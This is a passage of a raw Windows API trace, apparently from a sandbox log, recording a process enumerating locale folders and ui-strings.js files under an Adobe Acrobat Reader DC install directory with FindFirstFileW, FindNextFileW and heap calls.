lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0275.250] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.250] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0275.250] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0275.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.251] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0275.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.251] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ca-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0275.252] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.252] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.252] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.252] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0275.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.252] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0275.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.252] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\cs-cz\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0275.254] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.255] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.255] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.255] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0275.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.255] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0275.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.255] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\da-dk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0275.255] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.256] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.256] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.256] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0275.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.256] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0275.256] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.256] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\de-de\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0275.257] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.257] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.257] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.257] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0275.257] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.258] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0275.258] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.258] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\en-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0275.259] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.259] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.259] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.259] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0275.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.259] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0275.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.259] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\en-gb\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0275.260] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.260] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0275.260] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0275.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.260] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0275.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.260] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\en-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0275.261] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.261] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.261] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.262] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0275.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.262] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0275.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.262] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\es-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0275.262] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.263] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.263] FindNextFileW (in: 